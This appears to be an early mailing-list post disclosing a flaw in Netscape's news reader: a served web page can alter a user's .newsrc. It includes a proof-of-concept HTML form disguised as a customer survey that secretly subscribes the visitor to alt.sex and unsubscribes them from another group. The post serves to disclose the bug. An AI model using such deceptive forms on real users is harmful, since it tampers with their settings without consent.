Hello all --
There is one small problem with Netscapes implementation of news reading &
dealing with the .newsrc.
Other peoples forms can mess with your .newsrc. Wow. I can't believe that
mcom did this.
Take a look at the source on the subscribed newsgroups page. Now save
that source & hand it to your httpd. Now watch the served document do
your .newsrc funny.
<FORM METHOD="POST" ACTION="newsrc:">
We here at bogus, inc. are interested in knowing a little more about our
customers. Please fill out the following form:
<DL>
<DT><INPUT TYPE=checkbox NAME="SUBSCRIBE" VALUE="alt.sex"> (95) I am cool.
<DT><INPUT TYPE=checkbox NAME="UNSUBSCRIBE" VALUE="comp.infosystems.www.providers"> (95) I am sexy.
</DL>
<INPUT TYPE=submit VALUE="Tell me about yourself.">
</FORM>
Any one else think this is a bit of a prob??

ps. Marc -- do you guys have any jobs opening up soon :-)
